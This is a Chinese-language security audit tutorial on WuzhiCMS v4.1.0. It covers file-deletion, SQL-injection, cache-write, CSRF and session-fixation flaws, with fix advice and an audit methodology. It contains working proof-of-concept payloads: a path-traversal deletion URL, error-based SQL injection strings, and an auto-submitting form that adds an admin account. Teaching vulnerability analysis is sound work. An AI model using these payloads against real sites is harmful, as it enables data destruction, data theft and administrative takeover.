WuzhiCMS v4.1.0 代码审计教学文档<\/strong><\/h2>
一、环境与项目结构分析<\/strong><\/h3>
在进行代码审计前，首先需要了解目标程序的基本结构和环境。<\/p>

核心目录说明<\/strong><\/p>

coreframe\/<\/code>：框架核心目录，包含所有业务模块和核心库。<\/li>
caches\/<\/code>：缓存目录，存放系统生成的各种缓存文件。<\/li>
www\/<\/code>：网站Web根目录，存放对外开放的入口文件。<\/li>
uploadfile\/<\/code>：用户上传文件的存储目录，是文件上传漏洞的常见挖掘点。<\/li>
install\/<\/code>：安装目录。安全规范<\/strong>：在系统安装完成后，此目录必须删除，否则可能导致重装攻击。<\/li> <\/ul> <\/li>
关键入口文件<\/strong><\/p> www\/index.php<\/code>：网站前台主入口。<\/li> www\/admin.php<\/code>：网站后台管理入口。<\/li> api\/<\/code> 目录：提供API接口，是寻找未授权访问、逻辑漏洞和SQL注入的重点区域。<\/li> <\/ul> <\/li> <\/ol> 二、漏洞审计与详解<\/strong><\/h3> 以下将按照漏洞类型对文中发现的漏洞进行逐一剖析。<\/p> 类型一：任意文件删除漏洞<\/strong><\/h4> 漏洞文件<\/strong>：coreframe\/app\/attachment\/admin\/index.php<\/code><\/p> <\/li> 漏洞函数<\/strong>：del()<\/code><\/p> <\/li> 漏洞分析<\/strong>：该函数提供了两种删除附件的方式：通过附件ID ($id<\/code>) 或通过附件URL ($url<\/code>)。问题出在通过URL删除的逻辑上。<\/p> 从$GLOBALS['url']<\/code>获取用户输入的url<\/code>参数，并经过remove_xss()<\/code>函数过滤（此过滤主要用于防XSS，对路径遍历无效）。<\/li> 使用 str_ireplace(ATTACHMENT_URL, '', $url)<\/code> 将附件的基准URL替换为空，得到相对路径 $path<\/code>。<\/li> 直接将 $path<\/code> 拼接到 ATTACHMENT_ROOT<\/code>（附件根目录）后，形成绝对路径 ATTACHMENT_ROOT . $path<\/code>。<\/li> 调用 my_unlink($path)<\/code> 函数，该函数内部直接执行 unlink($path)<\/code>。<\/li> <\/ol> <\/li> 漏洞利用<\/strong>：由于对 $path<\/code> 未进行有效的路径遍历检查，攻击者可以构造特殊的 url<\/code> 参数，使其指向系统任意文件。 POC（攻击验证代码）<\/strong>：<\/p> http:\/\/target.com\/index.php?m=attachment&f=index&v=del&_su=wuzhicms&url=..\/..\/..\/configs\/web_config.php <\/code><\/pre> 上述请求会将 url<\/code> 参数解析为 ..\/..\/configs\/web_config.php<\/code>，最终拼接成类似 ...\/uploadfile\/..\/..\/configs\/web_config.php<\/code> 的路径，从而跨越目录，删除重要的配置文件 web_config.php<\/code>。<\/p> <\/li> 修复建议<\/strong>：在删除文件前，应对 $path<\/code> 进行规范化（如使用 realpath<\/code> 函数），并严格校验其是否位于允许的目录（如 ATTACHMENT_ROOT<\/code>）之下。<\/p> <\/li> <\/ul> 类型二：SQL注入漏洞<\/strong><\/h4> 文中提到了多处SQL注入风险，主要原因是未对用户输入进行充分过滤就直接拼接SQL语句。<\/p> 漏洞点1：API接口注入<\/strong><\/p> 漏洞文件<\/strong>：api\/sms_check.php<\/code><\/p> <\/li> 漏洞分析<\/strong>：该脚本直接使用 $GLOBALS['param']<\/code> 作为变量，并将其拼接到SQL查询语句中。<\/p> $code =<\/span> strip_tags<\/span>($GLOBALS['param'<\/span>]); \/\/ strip_tags仅去除HTML标签，对SQL注入无效 <\/span><\/span><\/span><\/span>...<\/span> <\/span><\/span>$r =<\/span> $db-><\/span>get_one<\/span>('sms_checkcode'<\/span>,"`code`='<\/span>$code<\/span>' AND `posttime`><\/span>$posttime<\/span>"<\/span>,'*'<\/span>,0<\/span>,'id DESC'<\/span>); <\/span><\/span><\/code><\/pre>$code<\/code> 变量未经任何转义或参数化处理就直接嵌入SQL字符串，导致注入。<\/p> <\/li> 漏洞利用POC<\/strong>：<\/p> http:\/\/target.com\/api\/sms_check.php?param=1' OR extractvalue(1,concat(0x7e,(SELECT user()))) -- - <\/code><\/pre> 此Payload会触发数据库报错，并将当前数据库用户信息显示在错误信息中。<\/p> <\/li> <\/ul> <\/li> 漏洞点2：后台搜索功能注入<\/strong><\/p> 漏洞文件<\/strong>：coreframe\/app\/promote\/admin\/index.php<\/code><\/p> <\/li> 漏洞函数<\/strong>：search()<\/code><\/p> <\/li> 漏洞分析<\/strong>：用户可控的 $keywords<\/code> 和 $fieldtype<\/code> 变量被直接拼接进 $where<\/code> 字符串。<\/p> $where =<\/span> "`siteid`='<\/span>$siteid<\/span>' AND `<\/span>$fieldtype<\/span>` LIKE '%<\/span>$keywords<\/span>%'"<\/span>; <\/span><\/span>$result =<\/span> $this-><\/span>db<\/span>-><\/span>get_list<\/span>('promote'<\/span>,$where, '*'<\/span>, 0<\/span>, 20<\/span>,$page,'id DESC'<\/span>); <\/span><\/span><\/code><\/pre>尽管此漏洞位于后台，需要管理员权限才能访问，但一旦攻击者通过其他手段（如钓鱼）获取了后台权限，这将是一个高危的内网渗透漏洞。<\/p> <\/li> 漏洞利用POC<\/strong>：<\/p> http:\/\/target.com\/admin.php?m=promote&f=index&v=search&fieldtype=place&keywords=1' OR extractvalue(1,concat(0x7e,user())) -- - <\/code><\/pre> <\/li> <\/ul> <\/li> 根因探究<\/strong>：框架的数据库封装方法（如 get_one<\/code>, get_list<\/code>）设计存在缺陷。它们接受原始的 $where<\/code> 字符串进行拼接，而不是使用预编译占位符。审计时应重点关注所有调用这些方法且 $where<\/code> 参数用户可控的地方。<\/p> <\/li> <\/ul> 类型三：任意文件写入\/远程代码执行漏洞<\/strong><\/h4> 漏洞文件<\/strong>：coreframe\/app\/core\/libs\/function\/common.func.php<\/code><\/p> <\/li> 漏洞函数<\/strong>：set_cache()<\/code><\/p> <\/li> 漏洞分析<\/strong>：此函数用于生成缓存文件。关键代码如下：<\/p> function<\/span> set_cache<\/span>($filename, $data, $dir =<\/span> '_cache_'<\/span>){ <\/span><\/span> ...<\/span> <\/span><\/span> $filename =<\/span> $cache_path .<\/span> $filename .<\/span> '.'<\/span> .<\/span> CACHE_EXT<\/span> .<\/span> '.php'<\/span>; <\/span><\/span> if<\/span> (is_array<\/span>($data)) { <\/span><\/span> $data =<\/span> '<?php'<\/span> .<\/span> "<\/span>\n<\/span> return "<\/span> .<\/span> array2string<\/span>($data) .<\/span> '?>'<\/span>; <\/span><\/span> } <\/span><\/span> file_put_contents<\/span>($filename, $data); \/\/ 将数据写入文件 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>如果能够控制 $data<\/code> 参数的内容，并且能预测或影响缓存文件的路径（$filename<\/code>），就可能写入一个恶意的PHP文件。<\/p> <\/li> 关联漏洞点<\/strong>：文中提到一个可能的触发点：index.php?m=attachment&f=index&v=ueditor&submit=1&setting=<php phpinfo();><\/code>。这暗示可能存在某个接口，将用户输入的数据传递给了 set_cache<\/code> 函数。审计时需要寻找这类调用链。<\/p> <\/li> 漏洞利用<\/strong>：如果攻击者成功将PHP代码写入一个可通过Web访问的缓存文件中，就可以直接访问该文件来执行任意系统命令，造成RCE。<\/p> <\/li> 修复建议<\/strong>：严格校验传入 set_cache<\/code> 函数的数据内容，确保 $data<\/code> 是预期的序列化数据，而非原始PHP代码。对 $filename<\/code> 也应做严格限制，防止目录穿越。<\/p> <\/li> <\/ul> 类型四：跨站请求伪造漏洞<\/strong><\/h4> 漏洞描述<\/strong>：在WuzhiCMS 4.1.0中，后台缺乏对关键操作（如添加管理员）的CSRF Token校验。攻击者可以构造一个恶意页面或链接，诱骗已登录的管理员点击。管理员浏览器会在不知情的情况下携带其认证Cookie向CMS后台发起请求，执行添加攻击者账户等操作。<\/li> 漏洞利用<\/strong>：攻击者创建一个HTML页面，内嵌一个自动提交的表单： <form<\/span> action<\/span>=<\/span>"http:\/\/target-cms.com\/admin.php?m=core&f=member&v=add&_su=wuzhicms"<\/span> method<\/span>=<\/span>"POST"<\/span>> <\/span><\/span> <input<\/span> type<\/span>=<\/span>"hidden"<\/span> name<\/span>=<\/span>"username"<\/span> value<\/span>=<\/span>"hacker"<\/span> \/> <\/span><\/span> <input<\/span> type<\/span>=<\/span>"hidden"<\/span> name<\/span>=<\/span>"password"<\/span> value<\/span>=<\/span>"hacker123"<\/span> \/> <\/span><\/span> <input<\/span> type<\/span>=<\/span>"hidden"<\/span> name<\/span>=<\/span>"roleid"<\/span> value<\/span>=<\/span>"1"<\/span> \/> <\/span> <\/span><\/span> <input<\/span> type<\/span>=<\/span>"submit"<\/span> value<\/span>=<\/span>"Click for a surprise!"<\/span> \/> <\/span><\/span><\/form<\/span>> <\/span><\/span><script<\/span>>document.forms<\/span>[0<\/span>].submit<\/span>();<\/script<\/span>> <\/span><\/span><\/code><\/pre>管理员访问此页面后，一个名为 hacker<\/code> 的管理员账户就被创建了。<\/li> 修复建议<\/strong>：对所有状态变更的请求（POST、GET等）实施CSRF Token防护。为每个会话生成一个随机的Token，并在表单或请求参数中包含它，服务端验证此Token的有效性。<\/li> <\/ul> 类型五：会话管理漏洞<\/strong><\/h4> 漏洞描述<\/strong>：在登录逻辑中（coreframe\/app\/core\/admin\/index.php<\/code> 的 login<\/code> 函数），系统在用户登录时没有重新生成Session ID，而是重用了客户端提供的Session ID。<\/li> 攻击场景（Session Fixation）<\/strong>：攻击者先访问网站，获取一个合法的Session ID（如 PHPSESSID=attacker_sess<\/code>）。<\/li> 攻击者构造一个指向后台登录页的钓鱼链接，并附上自己的Session ID：http:\/\/target.com\/admin.php?m=core&f=index&v=login&...&PHPSESSID=attacker_sess<\/code>。<\/li> 管理员点击此链接，使用攻击者的Session ID进行登录。<\/li> 登录成功后，服务器将管理员的权限与 attacker_sess<\/code> 这个Session绑定。<\/li> 攻击者此时使用 PHPSESSID=attacker_sess<\/code> 访问网站，便直接拥有了管理员权限。<\/li> <\/ol> <\/li> 修复建议<\/strong>：在用户认证成功（如登录、权限提升）后，必须调用 session_regenerate_id(true)<\/code> 函数来销毁旧会话并生成一个新的、随机的会话ID。<\/li> <\/ul> 三、代码审计方法论总结<\/strong><\/h3> 通过本次对WuzhiCMS的审计，我们可以总结出一些通用的PHP代码审计技巧：<\/p> 入口点追踪<\/strong>：从 index.php<\/code>、admin.php<\/code> 和 api\/<\/code> 目录下的文件开始，追踪用户输入（$_GET<\/code>, $_POST<\/code>, $_REQUEST<\/code>, $GLOBALS<\/code>）的传递过程。<\/li> 敏感函数回溯<\/strong>：在IDE或编辑器中全局搜索关键函数，这是最高效的方法之一。 SQL注入<\/strong>：搜索 select<\/code>、get_one<\/code>、get_list<\/code>、query<\/code>、execute<\/code> 等。<\/li> 文件操作<\/strong>：搜索 unlink<\/code>（删除）、file_put_contents<\/code>\/fwrite<\/code>（写入）、include<\/code>\/require<\/code>（包含）。<\/li> 代码执行<\/strong>：搜索 eval<\/code>、assert<\/code>、system<\/code>、exec<\/code>、passthru<\/code> 等。<\/li> <\/ul> <\/li> 权限校验检查<\/strong>：对于后台功能（admin\/<\/code> 目录下的文件），检查每个操作函数开头是否有完善的登录状态和权限校验代码。<\/li> 参数过滤审视<\/strong>：查看程序如何过滤输入。常见的错误是只使用 strip_tags<\/code>、htmlspecialchars<\/code>（防XSS）来处理用于SQL查询的参数，而应该使用数据库扩展提供的参数化查询或至少使用 mysqli_real_escape_string<\/code> 进行转义。<\/li> <\/ol> 四、结论<\/strong><\/h3> WuzhiCMS v4.1.0 版本在多个关键安全环节存在缺陷，包括但不限于任意文件删除、SQL注入、CSRF、会话固定等中高危漏洞。这份教学文档详细分析了这些漏洞的成因、利用方式及修复方案，为安全研究人员和开发者提供了宝贵的代码审计实战案例。在进行任何CMS的二次开发或部署前，进行彻底的代码安全审计是至关重要的一步。<\/p> 免责声明<\/strong>：本文档仅用于安全教学和研究目的。请勿将文中所述技术用于任何非法或未经授权的测试。在使用任何开源软件时，请确保使用最新版本，并参考官方安全公告。<\/p>